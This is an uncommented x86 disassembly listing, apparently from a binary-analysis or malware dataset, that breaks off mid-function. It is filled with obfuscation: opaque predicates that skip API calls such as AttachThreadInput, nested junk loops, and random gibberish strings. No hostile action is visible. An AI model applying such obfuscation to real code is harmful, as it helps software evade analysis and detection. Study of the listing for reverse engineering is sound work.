call fcn.00447ad4
add esp, 0x18
mov byte [ebp - 0x8d], 0
movzx eax, byte [ebp - 0x8d]
test eax, eax
je 0x439094
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x4390cc
push 0x17bb
push 0x6645
push 0x4b4e
push 0x6f13
push 0xa4f
push 0x2a1c
push 0
push 1
push 1
push 0x3456
push 0x654e
call fcn.00406223
add esp, 0x2c
mov dword [ebp - 0xe8], 0x11
jmp 0x4390e5
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0xffffffe8
je 0x4392be
push 2
lea ecx, [ebp - 0xc9c]
call fcn.0045223e
mov dword [ebp - 0x140], 0x9ae77ab3
mov dword [ebp - 0x840], 0x97440271
mov dword [ebp - 0x838], 1
push 0x308c
push 0x75c5
push 0
push 0x3497
push 1
push 0xe02
lea eax, [ebp - 0xd5c]
push eax
lea eax, [ebp - 0xc9c]
push eax
push 0x2b3c
push 0x836
push 1
push 0x6277
call fcn.004118ef
add esp, 0x30
mov dword [ebp - 0x140], 0
jmp 0x439175
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 1
jg 0x4392ae
mov dword [ebp - 0x9f8], 0x707dfe4d
mov dword [ebp - 0xb24], 0xcbdb62b2
push 3
lea ecx, [ebp - 0xb68]
call fcn.0045223e
mov dword [ebp - 0x454], 0x558b047c
mov dword [ebp - 0x830], 0x42a26b13
push 0x2f9f
lea eax, [ebp - 0xb68]
push eax
push 0x7922
push 0x6c35
push 0
push 0x4490
push 0x190d
push 0
push 1
lea eax, [ebp - 0xd64]
push eax
call fcn.00431126
add esp, 0x28
push 0x21eb
push 0
lea eax, [ebp - 0x140]
push eax
push 0x709
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x830]
push eax
push 0x2835
push 0x2f2b
push 0
push 0x7f19
lea eax, [ebp - 0xb68]
push eax
push 0x7447
lea eax, [ebp - 0x9f8]
push eax
lea eax, [ebp - 0x838]
push eax
push 0x4056
push 0x3316
push 1
lea eax, [ebp - 0xb24]
push eax
push 0x14b
push 0x24c5
lea eax, [ebp - 0x840]
push eax
push 0x6608
push 0x7d59
push 0x20b5
lea eax, [ebp - 0xe8]
push eax
push 0x41bb
lea eax, [ebp - 0xc9c]
push eax
push 1
call fcn.0042e20b
add esp, 0x70
cmp dword [ebp - 0x454], 0
je 0x43929e
lea ecx, [ebp - 0xb68]
call fcn.00452310
jmp 0x4392ae
lea ecx, [ebp - 0xb68]
call fcn.00452310
jmp 0x439168
lea ecx, [ebp - 0xc9c]
call fcn.00452310
jmp 0x4390d8
push 0x460d
push 0x47fe
push 0xcf1
push 0x743c
lea eax, [ebp - 0x110]
push eax
push 0xf72
push 0x1984
push 0
push 0x6bd1
push 0xd58
push 0x81c
push 1
lea eax, [ebp - 0xc78]
push eax
push 0x3c63
push 0
push 0x6239
push 0x4928
push 1
call fcn.00428cf6
add esp, 0x48
mov dword [ebp - 0x110], 0
jmp 0x439331
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 1
jge 0x43934d
mov eax, dword [ebp - 0x110]
mov dword [ebp + eax*4 - 0x148], 0xffffffff
jmp 0x439324
mov dword [ebp - 0x614], 0x4632
mov dword [ebp - 0xa00], str.lygykk_nufcrsr_agrv_bhafhl_fpmakopbz_agfdcgh_hhkuy_nrewg_vnblp_gqvfyuen_txf
cmp dword [ebp - 0x614], 0x47da
jle 0x439454
and dword [ebp - 0x1cc], 0
jmp 0x439387
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x266b
jge 0x439454
and dword [ebp - 0x2c0], 0
jmp 0x4393ad
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x125f
jge 0x43944f
and dword [ebp - 0x1d4], 0
jmp 0x4393d3
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x39b9
jge 0x43944a
and dword [ebp - 0x298], 0
jmp 0x4393f5
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x3a80
jge 0x439445
mov eax, dword [ebp - 0x1cc]
cdq
idiv dword [ebp - 0x2c0]
mov eax, edx
cdq
idiv dword [ebp - 0x1d4]
imul edx, dword [ebp - 0x298]
mov eax, edx
cdq
mov dword [ebp - 0x990], eax
mov dword [ebp - 0x98c], edx
push dword [ebp - 0x98c]
push dword [ebp - 0x990]
mov ecx, 0xab95b8
call fcn.00452129
jmp 0x4393e8
jmp 0x4393c6
jmp 0x4393a0
jmp 0x43937a
mov dword [ebp - 4], 8
cmp dword [ebp - 0x614], 0x4614
jge 0x439477
mov edx, dword [ebp - 0xa00]
mov ecx, 0xab95b8
call fcn.00453acf
jmp 0x439493
or dword [ebp - 4], 0xffffffff
jmp 0x43949d
mov dword [ebp - 0x118], 1
mov dword [ebp - 0x1dc], 0
jmp 0x4394c0
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 2
jge 0x4394dc
mov eax, dword [ebp - 0x1dc]
mov dword [ebp + eax*4 - 0xbac], 0xfffffff9
jmp 0x4394b3
mov dword [ebp - 0x118], 0
jmp 0x4394f5
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 1
jg 0x4396ee
mov dword [ebp - 0x158], 0x816210b9
mov byte [ebp - 0x9d], 0
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x43952a
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [ebp - 0x158], 0
jmp 0x439543
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 1
jg 0x4396e9
mov dword [ebp - 0x2a0], 1
mov byte [ebp - 0x8f], 0
movzx eax, byte [ebp - 0x8f]
test eax, eax
je 0x439590
push 0
push 0xb2f
push 0
push 1
push 0x7808
push 0
push 0xf51
push 0x1629
call fcn.0042f5a6
add esp, 0x20
mov dword [ebp - 0x45c], 0x6538
mov dword [ebp - 0x848], str.miri_auug_aeziwhm_wza_cbrlx_pozc_znpaiq_clz_owopiw_uzz
cmp dword [ebp - 0x45c], 0x66ee
jle 0x43964c
and dword [ebp - 0x2e8], 0
jmp 0x4395ca
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x30b9
jge 0x43964c
and dword [ebp - 0x1e4], 0
jmp 0x4395ec
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x2c82
jge 0x439647
mov eax, dword [ebp - 0x2e8]
mov ecx, dword [ebp - 0x1e4]
shl eax, cl
cdq
mov dword [ebp - 0x99c], eax
mov dword [ebp - 0x998], edx
push dword [ebp - 0x998]
push dword [ebp - 0x99c]
lea ecx, [ebp - 0x1058]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.0045211e
push eax
call fcn.004b0bf7
pop ecx
lea ecx, [ebp - 0x1058]
call fcn.00452114
jmp 0x4395df
jmp 0x4395bd
mov dword [ebp - 0x2a0], 0
jmp 0x439665
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 1
jg 0x43969f
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x118]
mov eax, dword [ebp + eax*4 - 0xbac]
mov dword [ebp + ecx*4 - 0xbac], eax
push 0
push 0
push 1
push 0
push 0x55d2
call fcn.00409410
add esp, 0x14
jmp 0x439658
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x45c], 0x627a
jge 0x4396be
push dword [ebp - 0x848]
call fcn.004b0bf7
pop ecx
jmp 0x4396da
or dword [ebp - 4], 0xffffffff
jmp 0x4396e4
jmp 0x439536
jmp 0x4394e8
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x148], 1
jmp 0x43971c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x148]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x148], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x148], 0
jl 0x43a1a9
mov dword [ebp - 0x464], 0x2416
mov dword [ebp - 0xabc], str.gtph_mdgijz_uzvluxv
cmp dword [ebp - 0x464], 0x27b8
jle 0x4397ca
and dword [ebp - 0x1ec], 0
jmp 0x439766
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x2469
jge 0x4397ca
and dword [ebp - 0x2c8], 0
jmp 0x439788
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x6b7f
jge 0x4397c8
mov eax, dword [ebp - 0x1ec]
cdq
idiv dword [ebp - 0x2c8]
mov eax, edx
cdq
mov dword [ebp - 0x9a8], eax
mov dword [ebp - 0x9a4], edx
push dword [ebp - 0x9a4]
push dword [ebp - 0x9a8]
mov ecx, 0xab95b8
call fcn.00452129
jmp 0x43977b
jmp 0x439759
push 4
lea ecx, [ebp - 0x7f0]
call fcn.0045223e
mov dword [ebp - 0xd6c], 0xb108
mov dword [ebp - 0xd74], 0x9ef72d4e
push 1
lea ecx, [ebp - 0xcc0]
call fcn.0045223e
push 0x4c6d
push 1
lea eax, [ebp - 0x3c]
push eax
push 0x2496
push 0x7161
push 0
push 0x6d2f
lea eax, [ebp - 0x7f0]
push eax
push 0x6664
push 0
push 0x5ec1
push 0x425a
push 0x50d0
push 0x1801
push 0x598a
push 0x1d8a
call fcn.0042b5e7
add esp, 0x40
mov dword [ebp - 0x3c], 0
jmp 0x439858
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x43986e
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x10b8], 0xffffffff
jmp 0x439851
mov dword [ebp - 0x3c], 0
jmp 0x43987e
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x43989a
push dword [ebp - 0x3c]
lea ecx, [ebp - 0xcc0]
call fcn.0045232c
mov dword [eax], 0xee76373a
jmp 0x439877
push 2
lea ecx, [ebp - 0x7f0]
call fcn.0045232c
and dword [eax], 0
jmp 0x4398d0
push 2
lea ecx, [ebp - 0x7f0]
call fcn.0045232c
mov dword [ebp - 0x7a8], eax
mov eax, dword [ebp - 0x7a8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x7a8]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x7f0]
call fcn.0045232c
cmp dword [eax], 0x1d
je 0x4399b2
mov dword [ebp - 0xd7c], 0xd651
mov dword [ebp - 0xd84], 0x4b13281d
mov dword [ebp - 0xd8c], 0x31d26ec1
mov dword [ebp - 0xd94], 1
mov dword [ebp - 0xd9c], 0x63c40785
mov dword [ebp - 0x1f4], 0
jmp 0x439931
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 3
jge 0x43994d
mov eax, dword [ebp - 0x1f4]
mov dword [ebp + eax*4 - 0x107c], 0xb054dbbe
jmp 0x439924
push 0x3bea
push 0x3490
push 0x6de5
push 0x36a
push 0x116d
push 0x31a6
push 0x396f
lea eax, [ebp - 0xcc0]
push eax
push 0xec0
push 0x5ff5
push 0x561d
push 0x528f
push 0x3548
push 0x22d0
push 1
push 0
push 0x1215
push 1
push 0x1c48
call fcn.0042c448
add esp, 0x4c
jmp 0x4398ac
push 0x706d
push 0
push 0x23f7
push 1
push 0
push 0x2363
lea eax, [ebp - 0x7f0]
push eax
push 1
push 0x7cce
push 0x61e
call fcn.00405d53
add esp, 0x28
lea ecx, [ebp - 0xcc0]
call fcn.00452310
lea ecx, [ebp - 0x7f0]
call fcn.00452310
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x464], 0x226f
jge 0x439a1b
mov edx, dword [ebp - 0xabc]
mov ecx, 0xab95b8
call fcn.00453acf
jmp 0x439a37
or dword [ebp - 4], 0xffffffff
jmp 0x439a41
mov dword [ebp - 0x24], 0
jmp 0x439a51
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x439a67
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x61c], 0xfff6
jmp 0x439a4a
mov dword [ebp - 0x24], 0
jmp 0x439a77
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x439a8d
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x850], 9
jmp 0x439a70
mov dword [ebp - 0x24], 0
jmp 0x439a9d
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x439ab3
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xfac], 0
jmp 0x439a96
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x61c]
mov dword [ebp - 0xda4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x850], 0
jne 0x439ae6
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x439ae6
and dword [ebp - 0x46c], 0
jmp 0x439af0
mov dword [ebp - 0x46c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x61c]
cmp dword [ebp - 0x46c], eax
je 0x439b11
mov dword [ebp - 0x6f8], 1
jmp 0x439b18
and dword [ebp - 0x6f8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6f8]
mov dword [ebp + eax - 0xfac], ecx
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x148]
lea ecx, [ebp - 0xc78]
call fcn.0045232c
cmp dword [eax], 0
je 0x439b4d
jmp 0x43a1a9
mov byte [ebp - 0xb5], 0
movzx eax, byte [ebp - 0xb5]
test eax, eax
je 0x43a1a4
mov dword [ebp - 0x128], 0xa4a9bdba
mov dword [ebp - 0xdac], 0x4d8a94b2
push 2
lea ecx, [ebp - 0xccc]
call fcn.0045223e
mov dword [ebp - 0xa10], 0xe7ccce1c
push 1
lea ecx, [ebp - 0xcb4]
call fcn.0045223e
mov dword [ebp - 0xdb4], 0xb827be6
mov dword [ebp - 0x474], 0x2278
mov dword [ebp - 0xa08], str.nfoixd_vyhduq_stmr_bze_takok_pdyaj_aiiozz_guknu_ftxugq_fbicmq
cmp dword [ebp - 0x474], 0x24e5
jle 0x439c61
and dword [ebp - 0x2a8], 0
jmp 0x439bdf
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x6927
jge 0x439c61
and dword [ebp - 0x1fc], 0
jmp 0x439c01
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x74e3
jge 0x439c5c
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x1fc]
shl eax, cl
cdq
mov dword [ebp - 0x9b4], eax
mov dword [ebp - 0x9b0], edx
push dword [ebp - 0x9b0]
push dword [ebp - 0x9b4]
lea ecx, [ebp - 0x1070]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.0045211e
push eax
call fcn.004b0bf7
pop ecx
lea ecx, [ebp - 0x1070]
call fcn.00452114
jmp 0x439bf4
jmp 0x439bd2
push 0
push 0x1d66
lea eax, [ebp - 0x120]
push eax
push 0x2a9e
push 1
push 0
push 0x1307
push 0x7da8
lea eax, [ebp - 0xccc]
push eax
push 0x1f1
call fcn.0041f0f0
add esp, 0x28
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x474], 0x2181
jge 0x439cb5
push dword [ebp - 0xa08]
call fcn.004b0bf7
pop ecx
jmp 0x439cd1
or dword [ebp - 4], 0xffffffff
jmp 0x439cdb
mov dword [ebp - 0x120], 0
jmp 0x439cf4
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 1
jge 0x439d13
push dword [ebp - 0x120]
lea ecx, [ebp - 0xcb4]
call fcn.0045232c
and dword [eax], 0
jmp 0x439ce7
cmp dword [ebp - 0x128], 0
je 0x43a13c
mov dword [ebp - 0x868], 0x17612d29
mov dword [ebp - 0x2e0], 0
jmp 0x439d43
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 3
jge 0x439d5f
mov eax, dword [ebp - 0x2e0]
mov dword [ebp + eax*4 - 0x110c], 0xafe01bd9
jmp 0x439d36
mov dword [ebp - 0x47c], 0x5cd5
mov dword [ebp - 0x860], str.clubvb_lpic_akrkubsim_friwrvhf_javoglm
cmp dword [ebp - 0x47c], 0x5cfc
jle 0x439e72
push 0x12aa
push 0x1e79
push 0
call dword [sym.imp.USER32.dll_InflateRect]
and dword [ebp - 0x204], 0
jmp 0x439dab
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x7af8
jge 0x439e72
and dword [ebp - 0x2b0], 0
jmp 0x439dd1
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x2a92
jge 0x439e6d
and dword [ebp - 0x20c], 0
jmp 0x439df7
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x29b7
jge 0x439e68
and dword [ebp - 0x278], 0
jmp 0x439e19
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0x525e
jge 0x439e66
mov eax, dword [ebp - 0x204]
mov ecx, dword [ebp - 0x2b0]
sar eax, cl
mov ecx, dword [ebp - 0x20c]
xor ecx, dword [ebp - 0x278]
or eax, ecx
cdq
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x9bc], edx
push dword [ebp - 0x9bc]
push dword [ebp - 0x9c0]
mov ecx, 0xab95b8
call fcn.00452129
jmp 0x439e0c
jmp 0x439dea
jmp 0x439dc4
jmp 0x439d9e
mov dword [ebp - 0x128], 0
jmp 0x439e8b
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 2
jg 0x43a0ba
mov dword [ebp - 0xdbc], 5
mov dword [ebp - 0x624], 0x6aa7
mov dword [ebp - 0x858], str.iuoevvhhq_pquzu_tsxjj_fugp
cmp dword [ebp - 0x624], 0x6d92
jle 0x439fa1
and dword [ebp - 0x214], 0
jmp 0x439edc
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x1a17
jge 0x439fa1
and dword [ebp - 0x27c], 0
jmp 0x439f02
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x5b74
jge 0x439f9c
and dword [ebp - 0x21c], 0
jmp 0x439f28
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x6702
jge 0x439f97
and dword [ebp - 0x284], 0
jmp 0x439f4a
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0x7a91
jge 0x439f95
mov eax, dword [ebp - 0x214]
sub eax, dword [ebp - 0x27c]
mov ecx, dword [ebp - 0x21c]
shl eax, cl
xor eax, dword [ebp - 0x284]
cdq
mov dword [ebp - 0x9cc], eax
mov dword [ebp - 0x9c8], edx
push dword [ebp - 0x9c8]
push dword [ebp - 0x9cc]
mov ecx, 0xab95b8
call fcn.00452129
jmp 0x439f3d
jmp 0x439f1b
jmp 0x439ef5
jmp 0x439ecf
mov dword [ebp - 0xdc4], 1
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x624], 0x6950
jge 0x439fce
mov edx, dword [ebp - 0x858]
mov ecx, 0xab95b8
call fcn.00453acf
jmp 0x439fea
or dword [ebp - 4], 0xffffffff
jmp 0x439ff4
mov dword [ebp - 0xdcc], 0x92f644ac
mov dword [ebp - 0xdd4], 4
push 1
lea ecx, [ebp - 0xe9c]
call fcn.0045223e
mov dword [ebp - 0xddc], 0xfffffff8
mov dword [ebp - 0xb28], 0
lea eax, [ebp - 0xe9c]
push eax
push 1
push 0
push 0
push 0x7bfe
push 1
lea eax, [ebp - 0xde4]
push eax
push 0x5c85
push 1
push 0x757e
call fcn.0040f783
add esp, 0x28
push 0x2690
lea eax, [ebp - 0xb28]
push eax
push 0
push 0x2acf
push 0
push 1
push 0x7000
push 1
push 0x6636
call fcn.00425cd8
add esp, 0x24
push 0x1c76
push 0x40eb
push 0x6885
push 0x58dd
push 1
push 1
push 0x26e4
push 0
call fcn.00432453
add esp, 0x20
lea ecx, [ebp - 0xe9c]
call fcn.00452310
jmp 0x439e7e
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x47c], 0x5ab3
jge 0x43a0dd
mov edx, dword [ebp - 0x860]
mov ecx, 0xab95b8
call fcn.00453acf
jmp 0x43a0f9
or dword [ebp - 4], 0xffffffff
jmp 0x43a103
push 0x40dd
push 1
push 0
push 0x157c
push 0x7aa
push 0x65b2
push 0
push 0x7eac
lea eax, [ebp - 0xa10]
push eax
lea eax, [ebp - 0x868]
push eax
push 1
call fcn.0040c9a9
add esp, 0x2c
jmp 0x43a182
mov dword [ebp - 0xac4], 0
mov dword [ebp - 0x870], 0
lea eax, [ebp - 0xac4]
push eax
lea eax, [ebp - 0xcb4]
push eax
lea eax, [ebp - 0xccc]
push eax
push 0x19b5
push 0
push 0
push 0x4acf
lea eax, [ebp - 0x870]
push eax
call fcn.0044f979
add esp, 0x20
lea ecx, [ebp - 0xcb4]
call fcn.00452310
lea ecx, [ebp - 0xccc]
call fcn.00452310
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x439701
lea ecx, [ebp - 0xc78]
call fcn.00452310
push 4
lea ecx, [ebp - 0xeac]
call fcn.0045223e
mov dword [ebp - 0x224], 0x66fe7d8a
mov dword [ebp - 0xa18], 0xb3b9
push 1
push 0x5e72
push 0x29b1
push 0x439
push 0x303f
lea eax, [ebp - 0xeac]
push eax
push 1
lea eax, [ebp - 0xdec]
push eax
push 0
push 0x4838
push 1
call fcn.0041ecad
add esp, 0x2c
mov dword [ebp - 0x224], 3
jmp 0x43a225
mov eax, dword [ebp - 0x224]
dec eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
jl 0x43a296
push 0
push 1
push 0
push 0x7ae2
lea eax, [ebp - 0xa18]
push eax
call fcn.00445ac6
add esp, 0x14
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x43a294
push 0
push 1
push 0x34e9
push 0x7f91
push 0x5a70
push 1
push 0x4e73
push 0
push 0x1cd7
push 0x7cad
push 1
push 0x2d64
push 0x5c9
call fcn.0042ac44
add esp, 0x34
jmp 0x43a218
lea ecx, [ebp - 0xeac]
call fcn.00452310
mov eax, dword [ebp - 0x878]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x334], eax
mov dword [ebp - 0xa20], 0x99cf
mov dword [ebp - 0x880], 0x229edca8
mov dword [ebp - 0xb10], 0xffffffff
mov dword [ebp - 0x888], 1
mov dword [ebp - 0xcd0], 0x270f9e3
mov dword [ebp - 0xdfc], 0xa05d7627
mov dword [ebp - 0xe04], 0
mov dword [ebp - 0xe0c], 0x5fba2522
push 2
lea ecx, [ebp - 0xebc]
call fcn.0045223e
mov dword [ebp - 0xacc], 0
mov dword [ebp - 0x5c], 0
jmp 0x43a327
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 1
jge 0x43a33d
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0xe14], 0xd96711db
jmp 0x43a320
mov dword [ebp - 0x5c], 0
jmp 0x43a34d
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jge 0x43a369
push dword [ebp - 0x5c]
lea ecx, [ebp - 0xebc]
call fcn.0045232c
mov dword [eax], 0xfffffff9
jmp 0x43a346
lea eax, [ebp - 0xb10]
push eax
lea eax, [ebp - 0x880]
push eax
push 0x1a37
push 0x2b17
push 0xd32
push 0
push 0x6be5
push 0x430f
lea eax, [ebp - 0xa20]
push eax
lea eax, [ebp - 0x888]
push eax
push 1
push 1
push 0x2ae7
push 0x3640
push 0x547c
push 0x3812
push 1
push 0x3150
push 0x6255
call fcn.0041fa66
add esp, 0x4c
push 1
push 1
push 0x6c73
push 0x1d12
push 0x58e7
push 0
push 0
push 0x4299
push 0x36d4
lea eax, [ebp - 0xacc]
push eax
push 0x347e
call fcn.0041ff35
add esp, 0x2c
lea ecx, [ebp - 0xebc]
call fcn.00452310
push 4
lea ecx, [ebp - 0xeec]
call fcn.0045223e
mov dword [ebp - 0x28c], 0x8a61928c
mov dword [ebp - 0x28c], 0xfffffff5
jmp 0x43a43c
mov eax, dword [ebp - 0x28c]
dec eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0xfffffff4
je 0x43a4f0
mov dword [ebp - 0x294], 0
mov dword [ebp - 0x22c], 0
jmp 0x43a46c
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 4
jge 0x43a488
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0xffc], 0xfffffffe
jmp 0x43a45f
mov dword [ebp - 0x294], 0
jmp 0x43a4a1
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x14
jge 0x43a4eb
mov dword [ebp - 0xf8], 3
mov dword [ebp - 0xf8], 0
jmp 0x43a4cd
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 4
jge 0x43a4e9
mov eax, dword [ebp - 0xf8]
mov dword [ebp + eax*4 - 0xffc], 1
jmp 0x43a4c0
jmp 0x43a494
jmp 0x43a42f
mov byte [ebp - 0xa5], 0
lea eax, [ebp - 0xa5]
push eax
push 0
push 0x63ff
push 0x6e6b
push 0x4f58
push 0x6e10
push 1
push 0x497f
push 0x2c1a
push 0x6826
push 0x437d
push 0x582b
push 0x70e6
push 1
push 0
call fcn.0042ebf2
add esp, 0x3c
mov dword [ebp - 0x24c], 0x66fe7d8a
mov dword [ebp - 0x310], 0x68876942
mov dword [ebp - 0xe1c], 0x7c39
mov dword [ebp - 0xb20], 0x14fa
mov dword [ebp - 0x54], 0
jmp 0x43a578
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x43a58e
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x7e4], 1
jmp 0x43a571
mov dword [ebp - 0x54], 0
jmp 0x43a59e
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x43a5b4
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x1024], 0
jmp 0x43a597
cmp dword [ebp - 0x310], 0xe60f
jge 0x43a5cc
mov dword [ebp - 0x890], 1
jmp 0x43a5d3
and dword [ebp - 0x890], 0
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0xa28], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa28]
mov dword [ebp + eax - 0x7e4], ecx
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0xe24], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7e4], 0
jne 0x43a61a
mov dword [ebp - 0x758], 1
jmp 0x43a621
and dword [ebp - 0x758], 0
cmp dword [ebp - 0x758], 0xfffc
jne 0x43a646
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7e4], 0
jne 0x43a646
and dword [ebp - 0x484], 0
jmp 0x43a650
mov dword [ebp - 0x484], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7e4]
cmp dword [ebp - 0x484], eax
je 0x43a672
mov eax, 0x47d2
test eax, eax
je 0x43a7f0
mov dword [ebp - 0xe2c], 0x1af7
mov dword [ebp - 0xe34], 0xfe57
mov dword [ebp - 0x62c], 0x620a
mov dword [ebp - 0x898], str.sexmwh_wtl_lium_xmtyjdr_evtl_qqin_lrkyi_iyy
cmp dword [ebp - 0x62c], 0x64f4
jle 0x43a741
and dword [ebp - 0x234], 0
jmp 0x43a6c0
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x7618
jge 0x43a741
and dword [ebp - 0x29c], 0
jmp 0x43a6e2
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0x3dfa
jge 0x43a73c
mov eax, dword [ebp - 0x234]
